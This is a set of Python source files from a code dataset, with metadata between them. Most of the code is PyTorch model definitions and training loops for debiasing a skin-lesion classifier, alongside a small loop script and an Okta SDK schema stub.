forward(self, x): x = self.features(x) x = x.squeeze() x = self.classifier(x) return x class InceptionResNetV2(nn.Module): def __init__(self, num_classes=1001): super(InceptionResNetV2, self).__init__() # Special attributs self.input_space = None self.input_size = (299, 299, 3) self.mean = None self.std = None # Modules self.conv2d_1a = BasicConv2d(3, 32, kernel_size=3, stride=2) self.conv2d_2a = BasicConv2d(32, 32, kernel_size=3, stride=1) self.conv2d_2b = BasicConv2d(32, 64, kernel_size=3, stride=1, padding=1) self.maxpool_3a = nn.MaxPool2d(3, stride=2) self.conv2d_3b = BasicConv2d(64, 80, kernel_size=1, stride=1) self.conv2d_4a = BasicConv2d(80, 192, kernel_size=3, stride=1) self.maxpool_5a = nn.MaxPool2d(3, stride=2) self.mixed_5b = Mixed_5b() self.repeat = nn.Sequential( Block35(scale=0.17), Block35(scale=0.17), Block35(scale=0.17), Block35(scale=0.17), Block35(scale=0.17), Block35(scale=0.17), Block35(scale=0.17), Block35(scale=0.17), Block35(scale=0.17), Block35(scale=0.17) ) self.mixed_6a = Mixed_6a() self.repeat_1 = nn.Sequential( Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10), Block17(scale=0.10) ) self.mixed_7a = Mixed_7a() self.repeat_2 = nn.Sequential( Block8(scale=0.20), Block8(scale=0.20), Block8(scale=0.20), Block8(scale=0.20), Block8(scale=0.20), Block8(scale=0.20), Block8(scale=0.20), Block8(scale=0.20), Block8(scale=0.20) ) self.block8 = Block8(noReLU=True) self.conv2d_7b = BasicConv2d(2080, 1536, kernel_size=1, stride=1) self.avgpool_1a = nn.AvgPool2d(8, count_include_pad=False) self.last_linear = nn.Linear(1536, num_classes) def features(self, input): x = self.conv2d_1a(input) x = self.conv2d_2a(x) x = self.conv2d_2b(x) x = self.maxpool_3a(x) x = self.conv2d_3b(x) x = self.conv2d_4a(x) x = self.maxpool_5a(x) x = self.mixed_5b(x) x = self.repeat(x) x = self.mixed_6a(x) x = self.repeat_1(x) x = self.mixed_7a(x) x = self.repeat_2(x) x = self.block8(x) x = self.conv2d_7b(x) return x def logits(self, features): x = self.avgpool_1a(features) x = x.view(x.size(0), -1) x = self.last_linear(x) return x def forward(self, input): x = self.features(input) x = self.logits(x) return x class ResNetDenseFC(nn.Module): def __init__(self, block, layers, num_classes=1000, load_resnet='resnet18', zero_first_center=False): self.zero_first_center = zero_first_center self.inplanes = 64 super(ResNetDenseFC, self).__init__() self.conv1 = nn.Conv2d(3, 64, kernel_size=7, stride=2, padding=3, bias=False) self.bn1 = nn.BatchNorm2d(64) self.relu = nn.ReLU(inplace=True) self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1) self.layer1 = self._make_layer(block, 64, layers[0]) self.layer2 = self._make_layer(block, 128, layers[1], stride=2) self.layer3 = self._make_layer(block, 256, layers[2], stride=2) self.layer4 = self._make_layer(block, 512, layers[3], stride=2) self.avgpool = nn.AdaptiveAvgPool2d(1) self.maxpool8 = nn.MaxPool2d(8, stride=8) self.maxpool4 = nn.MaxPool2d(4, stride=4) self.maxpool2 = nn.MaxPool2d(2, stride=2) self.project = nn.Conv2d( 960, num_classes, kernel_size=(1, 1), stride=(1, 1), padding=(0, 0), bias=True) self.bn2 = nn.BatchNorm2d(num_classes) for m in self.modules(): if isinstance(m, nn.Conv2d): n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels m.weight.data.normal_(0, math.sqrt(2. / n)) elif isinstance(m, nn.BatchNorm2d): m.weight.data.fill_(1) m.bias.data.zero_() if load_resnet is not None: resnet = resnets[load_resnet]() keys = set(self.state_dict().keys()) state_dict = self.state_dict() state_dict.update(dict([(k, v) for (k, v) in resnet.state_dict().items() if k in keys])) self.load_state_dict(state_dict) def _make_layer(self, block, planes, blocks, stride=1): downsample = None if stride != 1 or self.inplanes != planes * block.expansion: downsample = nn.Sequential( nn.Conv2d(self.inplanes, planes * block.expansion, kernel_size=1, stride=stride, bias=False), nn.BatchNorm2d(planes * block.expansion), ) layers = [] layers.append(block(self.inplanes, planes, stride, downsample)) self.inplanes = planes * block.expansion for i in range(1, blocks): layers.append(block(self.inplanes, planes)) return nn.Sequential(*layers) def forward(self, x): if self.zero_first_center: self.state_dict()['conv1.weight'][:, :, 3, 3] = 0.0 x = self.conv1(x) x = self.bn1(x) x = self.relu(x) x = self.maxpool(x) x1 = self.layer1(x) x2 = self.layer2(x1) x3 = self.layer3(x2) x4 = self.layer4(x3) x1 = self.maxpool8(x1) x2 = self.maxpool4(x2) x3 = self.maxpool2(x3) x = torch.cat([x1, x2, x3, x4], dim=1) x = self.project(x) x = self.bn2(x) x = self.relu(x) x = self.avgpool(x) return x.squeeze() class ResNetDense(nn.Module): def __init__(self, block, layers, num_classes=1000, load_resnet='resnet18'): self.inplanes = 64 super(ResNetDense, self).__init__() self.conv1 = nn.Conv2d(3, 64, kernel_size=7, stride=2, padding=3, bias=False) self.bn1 = nn.BatchNorm2d(64) self.relu = nn.ReLU(inplace=True) self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1) self.layer1 = self._make_layer(block, 64, layers[0]) self.layer2 = self._make_layer(block, 128, layers[1], stride=2) self.layer3 = self._make_layer(block, 256, layers[2], stride=2) self.layer4 = self._make_layer(block, 512, layers[3], stride=2) self.avgpool = nn.AdaptiveAvgPool2d(1) self.maxpool8 = nn.MaxPool2d(8, stride=8) self.maxpool4 = nn.MaxPool2d(4, stride=4) self.maxpool2 = nn.MaxPool2d(2, stride=2) self.fc_new = nn.Linear(960, num_classes) for m in self.modules(): if isinstance(m, nn.Conv2d): n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels m.weight.data.normal_(0, math.sqrt(2. / n)) elif isinstance(m, nn.BatchNorm2d): m.weight.data.fill_(1) m.bias.data.zero_() if load_resnet is not None: resnet = resnets[load_resnet]() keys = set(self.state_dict().keys()) state_dict = self.state_dict() state_dict.update(dict([(k, v) for (k, v) in resnet.state_dict().items() if k in keys])) self.load_state_dict(state_dict) def _make_layer(self, block, planes, blocks, stride=1): downsample = None if stride != 1 or self.inplanes != planes * block.expansion: downsample = nn.Sequential( nn.Conv2d(self.inplanes, planes * block.expansion, kernel_size=1, stride=stride, bias=False), nn.BatchNorm2d(planes * block.expansion), ) layers = [] layers.append(block(self.inplanes, planes, stride, downsample)) self.inplanes = planes * block.expansion for i in range(1, blocks): layers.append(block(self.inplanes, planes)) return nn.Sequential(*layers) def forward(self, x): x = self.conv1(x) x = self.bn1(x) x = self.relu(x) x = self.maxpool(x) x1 = self.layer1(x) x2 = self.layer2(x1) x3 = self.layer3(x2) x4 = self.layer4(x3) x1 = self.maxpool8(x1) x2 = self.maxpool4(x2) x3 = self.maxpool2(x3) x = torch.cat([x1, x2, x3, x4], dim=1) x = self.avgpool(x) x = self.fc_new(x.squeeze()) return x

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3,702

27,985

4.007023

0.062939

0.037751

0.035594

0.022246

0.829648

0.808278

0.778212

0.751921

0.738102

0.729068

0

0.077896

0.319242

27,985

803

114

34.85056

0.700751

0.001465

0

0.728916

0

0.005727

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1

0.057229

false

0

0.012048

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0.118976

0

null

0

1

0

1

0

null

0

7

52a8cb7cfb37390bd4219947910258a280a171b7

182

py

Python

Bucles.py

jayounghoyos/My-Scripts

da7f3d39e0a19b4d01b5cef0627bbf892f655c80

[ "MIT" ]

null

Bucles.py

jayounghoyos/My-Scripts

da7f3d39e0a19b4d01b5cef0627bbf892f655c80

[ "MIT" ]

null

Bucles.py

jayounghoyos/My-Scripts

da7f3d39e0a19b4d01b5cef0627bbf892f655c80

[ "MIT" ]

null

#contador = 0 #print("2 elevado a la" + str(contador) + " es igual a: " + str(2**contador)) contador = 1 print("2 elevado a la" + str(contador) + " es igual a: " + str(2**contador))

36.4

77

0.615385

30

182

3.733333

0.366667

0.107143

0.232143

0.25

0.839286

0

0.040541

0.186813

182

5

78

36.4

0.716216

0.483516

0

0.290323

0

1

0

false

0

0.5

0

null

0

1

0

1

0

null

0

1

0

10

d80bd2bee57f097beb7da8e26adc0fee8e4645af

120

py

Python

okta/models/schema/AppUserProfileCustomSubschema.py

CloudRunnerInc/oktasdk-python

b2d19418d2bd0a8c1bbf3764a69e83c148e42a41

[ "Apache-2.0" ]

null

okta/models/schema/AppUserProfileCustomSubschema.py

CloudRunnerInc/oktasdk-python

b2d19418d2bd0a8c1bbf3764a69e83c148e42a41

[ "Apache-2.0" ]

3

2018-01-05T20:23:12.000Z

2019-03-06T12:00:58.000Z

okta/models/schema/AppUserProfileCustomSubschema.py

CloudRunnerInc/oktasdk-python

b2d19418d2bd0a8c1bbf3764a69e83c148e42a41

[ "Apache-2.0" ]

1

2019-10-23T04:24:49.000Z

from okta.models.schema import BaseCustomSubschema class AppUserProfileCustomSubschema(BaseCustomSubschema): pass

20

57

0.85

10

120

10.2

0.9

0

0.108333

120

5

58

24

0.953271

0

1

0

true

0.333333

0

0.666667

0

1

0

1

null

0

1

0

null

0

1

0

1

0

7

dc4a855b09308772dc6825454d1a0894acd021ca

28,754

py

Python

train_epoch_variations.py

pbevan1/Skin-Deep-Unlearning

b8802db8bd61bbf3fdeb10c9899a4117ae38e89c

[ "MIT" ]

3

2021-09-10T21:51:01.000Z

2022-03-29T15:16:03.000Z

train_epoch_variations.py

pbevan1/Skin-Deep-Unlearning

b8802db8bd61bbf3fdeb10c9899a4117ae38e89c

[ "MIT" ]

null

train_epoch_variations.py

pbevan1/Skin-Deep-Unlearning

b8802db8bd61bbf3fdeb10c9899a4117ae38e89c

[ "MIT" ]

null

import numpy as np from sklearn.metrics import roc_auc_score, accuracy_score import torch import torch.nn as nn from torch.autograd import Variable from globalbaz import args, DP, device from tqdm import tqdm from models import * # Defining criterion with weighted loss based on bias to be unlearned def criterion_func(df): if args.instrument: lst = df['instrument'].value_counts().sort_index().tolist() lst2 = df['marked'].value_counts().sort_index().tolist() elif args.instrument and args.rulers: lst = df['instrument'].value_counts().sort_index().tolist() lst2 = df['scale'].value_counts().sort_index().tolist() else: lst = df['marked'].value_counts().sort_index().tolist() lst2 = df['scale'].value_counts().sort_index().tolist() # placeholder sum_lst = sum(lst) sum_lst2 = sum(lst2) class_freq = [] class_freq2 = [] for i in lst: class_freq.append(i / sum_lst * 100) weights = torch.tensor(class_freq, dtype=torch.float32) for i in lst2: class_freq2.append(i / sum_lst2 * 100) weights2 = torch.tensor(class_freq2, dtype=torch.float32) weights = weights / weights.sum() weights2 = weights2 / weights2.sum() weights = 1.0 / weights weights2 = 1.0 / weights2 weights = weights / weights.sum() weights2 = weights2 / weights2.sum() if args.debias_config != 'baseline': # Only printing auxiliary weights head if using debiasing head print(f'weights_aux: {weights}') print(f'weights_aux_2: {weights2}') weights = weights.to(device) weights2 = weights2.to(device) # Note CrossEntropyLoss & BCEWithLogitsLoss includes the Softmax function so logits should be passed in (no softmax layer in model) criterion = nn.BCEWithLogitsLoss() # nn.CrossEntropyLoss() criterion_aux = nn.CrossEntropyLoss(weight=weights) criterion_aux2 = nn.CrossEntropyLoss(weight=weights2) return criterion, criterion_aux, criterion_aux2 # Defining one training epoch for baseline model def train_epoch_baseline(model_encoder, model_classifier, loader, optimizer, criterion): # Setting to train mode model_encoder.train() model_classifier.train() train_loss = [] # creating loss list bar = tqdm(loader) # using tqdm to display progress bar for (data, target, _, _) in bar: optimizer.zero_grad() # zeroing gradients data, target = data.to(device), target.to(device) # sending data to GPU feat_out = model_encoder(data) # creating feature representation using the encoder logits = model_classifier(feat_out) # using the main classifier to get output logits target = target.unsqueeze(1).type_as(logits) # unsqueezing to[batch_size,1] and same dtype as logits loss = criterion(logits, target) # calculating loss using categorical crossentorpy loss.backward() # backpropegating to calculate gradients optimizer.step() # updating weights loss_np = loss.detach().cpu().numpy() # sending loss to cpu train_loss.append(loss_np) # appending loss to loss list smooth_loss = sum(train_loss[-100:]) / min(len(train_loss), 100) # calculating smooth loss bar.set_description('loss: %.5f, smth: %.5f' % (loss_np, smooth_loss)) # metrics for loading bar return train_loss # Defining one training epoch for learning not to learn model def train_epoch_LNTL(model_encoder, model_classifier, model_aux, loader, optimizer, optimizer_aux, criterion, criterion_aux): # setting models to train mode model_encoder.train() model_classifier.train() model_aux.train() # empty lists for training loss and auxiliary training loss train_loss = [] train_loss_aux = [] # adding progress bar for easier monitoring during training bar = tqdm(loader) for (data, target, target_aux, target_aux2) in bar: if args.rulers: # Switching to ruler labels target_aux = target_aux2 # zeroing gradients optimizer.zero_grad() optimizer_aux.zero_grad() # sending data and targets to GPU data, target, target_aux = data.to(device), target.to(device), target_aux.to(device) # predicting with model and getting feature maps and logits feat_out = model_encoder(data) # creating feature representation using the encoder logits = model_classifier(feat_out) # using the main classifier to get output logits target = target.unsqueeze(1).type_as(logits) # unsqueezing to [batch_size,1] and same dtype as logits # ######----------------Main Head & Pseudo Loss---------------########### # taking pseudo prediction from output of auxillary head (output of softmax) _, pseudo_pred_aux = model_aux(feat_out) # loss for main prediction calculated using crossentropyloss and logits output loss_main = criterion(logits, target) # pseudo auxilary loss calculated loss_pseudo_aux = torch.mean(torch.sum(pseudo_pred_aux * torch.log(pseudo_pred_aux), 1)) # pseudo auxiliary loss multiplied by lambda and added to main prediction loss loss = loss_main + loss_pseudo_aux * args.lambdaa # backpropegation to calculate gradients loss.backward() # updating weights optimizer.step() # ######-------------Auxiliary Head Classifier Update------------########### # zeroing gradients from last step optimizer.zero_grad() optimizer_aux.zero_grad() # predicting with model and getting feature maps and logits feat_out = model_encoder(data) # creating feaure representation using the encoder # applying gradient reversal to outputted features of main network if args.GRL: feat_out = grad_reverse(feat_out) # getting logits from auxillary head output (gradient reversal applied ready for updating) logits_aux, _ = model_aux(feat_out) # calculating auxiliary loss loss_aux = criterion_aux(logits_aux, target_aux) # backpropegating to calculate gradients (with reversal since gradient reversal applied above) loss_aux.backward() # updating weights optimizer.step() optimizer_aux.step() # sending losses to cpu for printing loss_np = loss.detach().cpu().numpy() loss_aux_np = loss_aux.detach().cpu().numpy() # appending losses to lists train_loss.append(loss_np) train_loss_aux.append(loss_aux_np) # calculating smooth losses smooth_loss = sum(train_loss[-100:]) / min(len(train_loss), 100) smooth_loss_aux = sum(train_loss_aux[-100:]) / min(len(train_loss_aux), 100) bar.set_description('loss: %.5f, smth: %.5f, aux_loss: %.5f, aux_smth: %.5f' % (loss_np, smooth_loss, loss_aux_np, smooth_loss_aux,)) return train_loss, train_loss_aux # Defining one training epoch for learning not to learn def train_epoch_TABE(model_encoder, model_classifier, model_aux, loader, optimizer, optimizer_aux, optimizer_confusion, criterion, criterion_aux): # setting lambda as tuning parameter for auxiliary loss # setting models to train mode model_encoder.train() model_classifier.train() model_aux.train() # empty lists for training loss and auxiliary training loss train_loss = [] train_loss_aux = [] # adding progress bar for easier monitoring during training bar = tqdm(loader) for (data, target, target_aux, target_aux2) in bar: if args.rulers: # switching targets round if wanting to use rulers as target target_aux = target_aux2 # zeroing gradients optimizer.zero_grad() optimizer_aux.zero_grad() optimizer_confusion.zero_grad() # sending data and targets to cpu data, target, target_aux = data.to(device), target.to(device), target_aux.to(device) # predicting with model and getting feature maps and logits feat_out = model_encoder(data) # creating feaure representation using the encoder logits = model_classifier(feat_out) # using the main classifier to get output logits target = target.unsqueeze(1).type_as(logits) # unsqueezing to[batch_size,1] and same dtype as logits # ######----------------Main Head & Pseudo Loss---------------########### loss_main = criterion(logits, target) # using categorical cross entropy (softmax built in) to get loss _, output_conf = model_aux(feat_out) # getting probabilities from auxiliary head # defining uniform distribution for calculating KL divergence for confusion loss uni_distrib = torch.FloatTensor(output_conf.size()).uniform_(0, 1) uni_distrib = uni_distrib.to(device) # sending to GPU uni_distrib = Variable(uni_distrib) loss_conf = - args.alpha * (torch.sum(uni_distrib * torch.log(output_conf))) / float(output_conf.size(0)) # calculating confusion loss loss = loss_main + loss_conf # adding main and confusion losses # backpropegation to calculate gradients loss.backward() # updating weights optimizer.step() optimizer_confusion.step() # ######-------------------------------Auxiliary Head Classifier Update-------------------------------########### # zeroing gradients from last step optimizer.zero_grad() optimizer_aux.zero_grad() # predicting with model and getting feature maps and logits feat_out = model_encoder(data) # creating feaure representation using the encoder # applying gradient reversal to outputted features of main network if args.GRL: feat_out = grad_reverse(feat_out) # getting logits from auxillary head output (gradient reversal applied ready for updating) logits_aux, _ = model_aux(feat_out) # calculating auxiliary loss loss_aux = criterion_aux(logits_aux, target_aux) # backpropegating to calculate gradients (with reversal since gradient reversal applied above) loss_aux.backward() # updating weights optimizer.step() optimizer_aux.step() # sending losses to cpu for printing loss_np = loss.detach().cpu().numpy() loss_aux_np = loss_aux.detach().cpu().numpy() # appending losses to lists train_loss.append(loss_np) train_loss_aux.append(loss_aux_np) # calculating smooth losses smooth_loss = sum(train_loss[-100:]) / min(len(train_loss), 100) smooth_loss_aux = sum(train_loss_aux[-100:]) / min(len(train_loss_aux), 100) bar.set_description('loss: %.5f, smth: %.5f, aux_loss: %.5f, aux_smth: %.5f' % (loss_np, smooth_loss, loss_aux_np, smooth_loss_aux,)) return train_loss, train_loss_aux # Defining one training epoch for learning not to learn def train_epoch_doubleTABE(model_encoder, model_classifier, model_aux, model_aux2, loader, optimizer, optimizer_aux, optimizer_aux2, optimizer_confusion, criterion, criterion_aux, criterion_aux2): # setting lambda as tuning parameter for auxiliary loss # setting models to train mode model_encoder.train() model_classifier.train() model_aux.train() model_aux2.train() # empty lists for training loss and auxiliary training loss train_loss = [] train_loss_aux = [] train_loss_aux2 = [] # adding progress bar for easier monitoring during training bar = tqdm(loader) for (data, target, target_aux, target_aux2) in bar: # zeroing gradients optimizer.zero_grad() optimizer_aux.zero_grad() optimizer_aux2.zero_grad() optimizer_confusion.zero_grad() # sending data and targets to cpu data, target, target_aux, target_aux2 = data.to(device), target.to(device), target_aux.to(device), target_aux2.to(device) # predicting with model and getting feature maps and logits feat_out = model_encoder(data) # creating feaure representation using the encoder logits = model_classifier(feat_out) # using the main classifier to get output logits target = target.unsqueeze(1).type_as(logits) # unsqueezing to[batch_size,1] and same dtype as logits # ######----------------Main Head & Confusion Loss---------------########### loss_main = criterion(logits, target) # using categorical cross entropy (softmax built in) to get loss _, output_conf = model_aux(feat_out) # getting probabilities from auxiliary head _, output_conf2 = model_aux2(feat_out) # getting probabilities from auxiliary head # defining uniform distribution for calculating KL divergence for confusion loss uni_distrib = torch.FloatTensor(output_conf.size()).uniform_(0, 1) uni_distrib = uni_distrib.to(device) # sending to GPU uni_distrib = Variable(uni_distrib) loss_conf = - args.alpha * (torch.sum(uni_distrib * torch.log(output_conf))) / float(output_conf.size(0)) # calculating confusion loss uni_distrib2 = torch.FloatTensor(output_conf2.size()).uniform_(0, 1) uni_distrib2 = uni_distrib2.to(device) # sending to GPU uni_distrib2 = Variable(uni_distrib2) loss_conf2 = - args.alpha * (torch.sum(uni_distrib2 * torch.log(output_conf2))) / float(output_conf2.size(0)) # calculating confusion loss loss = loss_main + loss_conf + loss_conf2 # adding main and confusion losses # backpropegation to calculate gradients loss.backward() # updating weights optimizer.step() optimizer_confusion.step() # ######-------------------------------Auxiliary Head Classifier Update-------------------------------########### # zeroing gradients from last step optimizer.zero_grad() optimizer_aux.zero_grad() optimizer_aux2.zero_grad() # predicting with model and getting feature maps and logits feat_out = model_encoder(data) # creating feaure representation using the encoder # applying gradient reversal to outputted features of main network if args.GRL: feat_out = grad_reverse(feat_out) # getting logits from auxillary head output (gradient reversal applied ready for updating) logits_aux, _ = model_aux(feat_out) logits_aux2, _ = model_aux2(feat_out) # calculating auxiliary loss loss_aux = criterion_aux(logits_aux, target_aux) loss_aux2 = criterion_aux2(logits_aux2, target_aux2) aux_losses = loss_aux + loss_aux2 # backpropegating to calculate gradients aux_losses.backward() # updating weights optimizer.step() optimizer_aux.step() optimizer_aux2.step() # sending losses to cpu for printing loss_np = loss.detach().cpu().numpy() loss_aux_np = loss_aux.detach().cpu().numpy() # sending loss to cpu loss_aux2_np = loss_aux2.detach().cpu().numpy() # sending loss to cpu # ------------------------------------------------------------------ # appending losses to loss lists train_loss.append(loss_np) train_loss_aux.append(loss_aux_np) train_loss_aux2.append(loss_aux2_np) # calculating smooth losses smooth_loss = sum(train_loss[-100:]) / min(len(train_loss), 100) smooth_loss_aux = sum(train_loss_aux[-100:]) / min(len(train_loss_aux), 100) smooth_loss_aux2 = sum(train_loss_aux2[-100:]) / min(len(train_loss_aux2), 100) # metrics to be displayed with progress bar bar.set_description( 'loss: %.5f, smth: %.5f, aux_loss: %.5f, aux_loss2: %.5f, aux_smth: %.5f, aux_smth2: %.5f' % (loss_np, smooth_loss, loss_aux_np, loss_aux2_np, smooth_loss_aux, smooth_loss_aux2)) return train_loss, train_loss_aux, train_loss_aux2 # Defining one training epoch for learning not to learn def train_epoch_BOTH(model_encoder, model_classifier, model_aux, model_aux2, loader, optimizer, optimizer_aux, optimizer_aux2, optimizer_confusion, criterion, criterion_aux, criterion_aux2): # setting lambda as tuning parameter for auxiliary loss # setting models to train mode model_encoder.train() model_classifier.train() model_aux.train() model_aux2.train() # empty lists for training loss and auxiliary training loss train_loss = [] train_loss_aux = [] train_loss_aux2 = [] bar = tqdm(loader) # using tqdm to show progress bar for (data, target, target_aux_pre, target_aux2_pre) in bar: optimizer.zero_grad() optimizer_aux.zero_grad() optimizer_aux2.zero_grad() optimizer_confusion.zero_grad() if args.switch_heads: # allowing heads to switch by switchin labels target_aux = target_aux2_pre target_aux2 = target_aux_pre else: target_aux = target_aux_pre target_aux2 = target_aux2_pre data, target, target_aux, target_aux2 = data.to(device), target.to(device), target_aux.to( device), target_aux2.to(device) # sending data and targets to GPU # predicting with model and getting feature maps and logits feat_out = model_encoder(data) # creating feaure representation using the encoder logits = model_classifier(feat_out) # using the main classifier to get output logits target = target.unsqueeze(1).type_as(logits) # unsqueezing to[batch_size,1] and same dtype as logits # ######---------Main Head & Confusion Loss & pseudo loss---------########### loss_main = criterion(logits, target) # using categorical cross entropy (softmax built in) to get loss _, output_conf = model_aux(feat_out) # getting probabilities from first auxiliary head uni_distrib = torch.FloatTensor(output_conf.size()).uniform_(0, 1) # calculating uniform distribution uni_distrib = uni_distrib.to(device) # sending to GPU uni_distrib = Variable(uni_distrib) loss_conf = - args.alpha * (torch.sum(uni_distrib * torch.log(output_conf))) / float( output_conf.size(0)) # calculating confusion loss _, pseudo_pred_aux = model_aux(feat_out) # taking pseudo prediction from output of auxillary head (output of softmax) loss_pseudo_aux = torch.mean( torch.sum(pseudo_pred_aux * torch.log(pseudo_pred_aux), 1)) # calculating auxiliary pseudo loss loss = loss_main + loss_conf + loss_pseudo_aux * args.lambdaa # adding losses before backpropegation loss.backward() # backpropegating loss to calculate gradients optimizer.step() # updating weights optimizer_confusion.step() # ######----------------Auxiliary Head Classifier Update----------------########### # zeroing gradients from last step optimizer.zero_grad() optimizer_aux.zero_grad() optimizer_aux2.zero_grad() # predicting with model and getting feature maps and logits feat_out = model_encoder(data) # creating feaure representation using the encoder # applying gradient reversal to outputted features of main network if args.GRL: feat_out = grad_reverse(feat_out) # getting logits from auxillary head output (gradient reversal applied ready for updating) logits_aux, _ = model_aux(feat_out) logits_aux2, _ = model_aux2(feat_out) # calculating auxiliary loss if args.switch_heads: loss_aux = criterion_aux2(logits_aux, target_aux) # calculating auxiliary loss loss_aux2 = criterion_aux(logits_aux2, target_aux2) # calculating 2nd auxiliary loss else: loss_aux = criterion_aux(logits_aux, target_aux) # calculating auxiliary loss loss_aux2 = criterion_aux2(logits_aux2, target_aux2) # calculating 2nd auxiliary loss aux_losses = loss_aux + loss_aux2 # backpropegating to calculate gradients aux_losses.backward() # updating weights optimizer.step() optimizer_aux.step() optimizer_aux2.step() # sending losses to cpu for printing loss_np = loss.detach().cpu().numpy() loss_aux_np = loss_aux.detach().cpu().numpy() # sending loss to cpu loss_aux2_np = loss_aux2.detach().cpu().numpy() # sending loss to cpu # ------------------------------------------------------------------ # appending losses to loss lists train_loss.append(loss_np) train_loss_aux.append(loss_aux_np) train_loss_aux2.append(loss_aux2_np) # calculating smooth losses smooth_loss = sum(train_loss[-100:]) / min(len(train_loss), 100) smooth_loss_aux = sum(train_loss_aux[-100:]) / min(len(train_loss_aux), 100) smooth_loss_aux2 = sum(train_loss_aux2[-100:]) / min(len(train_loss_aux2), 100) # metrics to be displayed with progress bar bar.set_description( 'loss: %.5f, smth: %.5f, aux_loss: %.5f, aux_loss2: %.5f, aux_smth: %.5f, aux_smth2: %.5f' % ( loss_np, smooth_loss, loss_aux_np, loss_aux2_np, smooth_loss_aux, smooth_loss_aux2)) return train_loss, train_loss_aux, train_loss_aux2 # Defining one training epoch for learning not to learn def train_epoch_doubleLNTL(model_encoder, model_classifier, model_aux, model_aux2, loader, optimizer, optimizer_aux, optimizer_aux2, criterion, criterion_aux, criterion_aux2): # setting lambda as tuning parameter for auxiliary loss # setting models to train mode model_encoder.train() model_classifier.train() model_aux.train() model_aux2.train() # empty lists for training loss and auxiliary training loss train_loss = [] train_loss_aux = [] train_loss_aux2 = [] bar = tqdm(loader) # using tqdm to show progress bar for (data, target, target_aux, target_aux2) in bar: optimizer.zero_grad() optimizer_aux.zero_grad() optimizer_aux2.zero_grad() data, target, target_aux, target_aux2 = data.to(device), target.to(device), target_aux.to( device), target_aux2.to(device) # sending data and targets to GPU # predicting with model and getting feature maps and logits feat_out = model_encoder(data) # creating feaure representation using the encoder logits = model_classifier(feat_out) # using the main classifier to get output logits target = target.unsqueeze(1).type_as(logits) # unsqueezing to[batch_size,1] and same dtype as logits # ######----------------Main Head & Pseudo Losses---------------########### loss_main = criterion(logits, target) # using categorical cross entropy (softmax built in) to get loss _, pseudo_pred_aux = model_aux(feat_out) # taking pseudo prediction from output of auxillary head (output of softmax) loss_pseudo_aux = torch.mean( torch.sum(pseudo_pred_aux * torch.log(pseudo_pred_aux), 1)) # calculating auxiliary pseudo loss _, pseudo_pred_aux2 = model_aux2(feat_out) # taking pseudo prediction from output of auxillary head (output of softmax) loss_pseudo_aux2 = torch.mean( torch.sum(pseudo_pred_aux2 * torch.log(pseudo_pred_aux2), 1)) # calculating auxiliary pseudo loss loss = loss_main + (loss_pseudo_aux + loss_pseudo_aux2)*args.lambdaa # adding losses before backpropegation loss.backward() # backpropegating loss to calculate gradients optimizer.step() # updating weights # ######-------------Auxiliary Head Classifier Update------------########### # zeroing gradients from last step optimizer.zero_grad() optimizer_aux.zero_grad() optimizer_aux2.zero_grad() # predicting with model and getting feature maps and logits feat_out = model_encoder(data) # creating feaure representation using the encoder # applying gradient reversal to outputted features of main network if args.GRL: feat_out = grad_reverse(feat_out) # getting logits from auxillary head output (gradient reversal applied ready for updating) logits_aux, _ = model_aux(feat_out) logits_aux2, _ = model_aux2(feat_out) # calculating auxiliary loss loss_aux = criterion_aux(logits_aux, target_aux) # calculating auxiliary loss loss_aux2 = criterion_aux2(logits_aux2, target_aux2) # calculating 2nd auxiliary loss aux_losses = loss_aux + loss_aux2 # backpropegating to calculate gradients aux_losses.backward() # updating weights optimizer.step() optimizer_aux.step() optimizer_aux2.step() # sending losses to cpu for printing loss_np = loss.detach().cpu().numpy() loss_aux_np = loss_aux.detach().cpu().numpy() # sending loss to cpu loss_aux2_np = loss_aux2.detach().cpu().numpy() # sending loss to cpu # ------------------------------------------------------------------ # appending losses to loss lists train_loss.append(loss_np) train_loss_aux.append(loss_aux_np) train_loss_aux2.append(loss_aux2_np) # calculating smooth losses smooth_loss = sum(train_loss[-100:]) / min(len(train_loss), 100) smooth_loss_aux = sum(train_loss_aux[-100:]) / min(len(train_loss_aux), 100) smooth_loss_aux2 = sum(train_loss_aux2[-100:]) / min(len(train_loss_aux2), 100) # metrics to be displayed with progress bar bar.set_description( 'loss: %.5f, smth: %.5f, aux_loss: %.5f, aux_loss2: %.5f, aux_smth: %.5f, aux_smth2: %.5f' % ( loss_np, smooth_loss, loss_aux_np, loss_aux2_np, smooth_loss_aux, smooth_loss_aux2)) return train_loss, train_loss_aux, train_loss_aux2 # translations for testing (test-time augmentation) def get_trans(img, I): if I >= 4: img = img.transpose(2, 3) if I % 4 == 0: return img elif I % 4 == 1: return img.flip(2) elif I % 4 == 2: return img.flip(3) elif I % 4 == 3: return img.flip(2).flip(3) def val_epoch(model_encoder, model_classifier, loader, criterion, n_test=1, get_output=False): # setting models to evaluation mode model_encoder.eval() model_classifier.eval() # setting up storage lists val_loss = [] LOGITS = [] PROBS = [] TARGETS = [] with torch.no_grad(): for (data, target, _, _) in tqdm(loader): # using tqdm for progress bar data, target = data.to(device), target.to(device) # sending data to GPU logits = torch.zeros((data.shape[0], args.out_dim)).to(device) # creating blank tensor for logits probs = torch.zeros((data.shape[0], args.out_dim)).to(device) # creating blank tensor for probabilities # using translations to test on same image in different positions and using voting for consensus for I in range(n_test): feat_out = model_encoder(get_trans(data, I)) # getting feature representation from encoder l = model_classifier(feat_out) # getting logits from main classifier head logits += l # adding logits to logits tensor probs += torch.sigmoid(l) # adding probabilities to probabilities tensor logits /= n_test # dividing logits by number of tests for consensus probs /= n_test # dividing probabilities by number of tests for consensus # appending logits, probabilities and targets to storage lists LOGITS.append(logits.detach().cpu()) PROBS.append(probs.detach().cpu()) TARGETS.append(target.detach().cpu()) target = target.unsqueeze(1).type_as(logits) # Unsqueezing to[batch_size,1] and same dtype as logits loss = criterion(logits, target) # getting batch loss val_loss.append(loss.detach().cpu().numpy()) # getting batch validation loss val_loss = np.mean(val_loss) # getting overall validation loss # converting to numpy LOGITS = 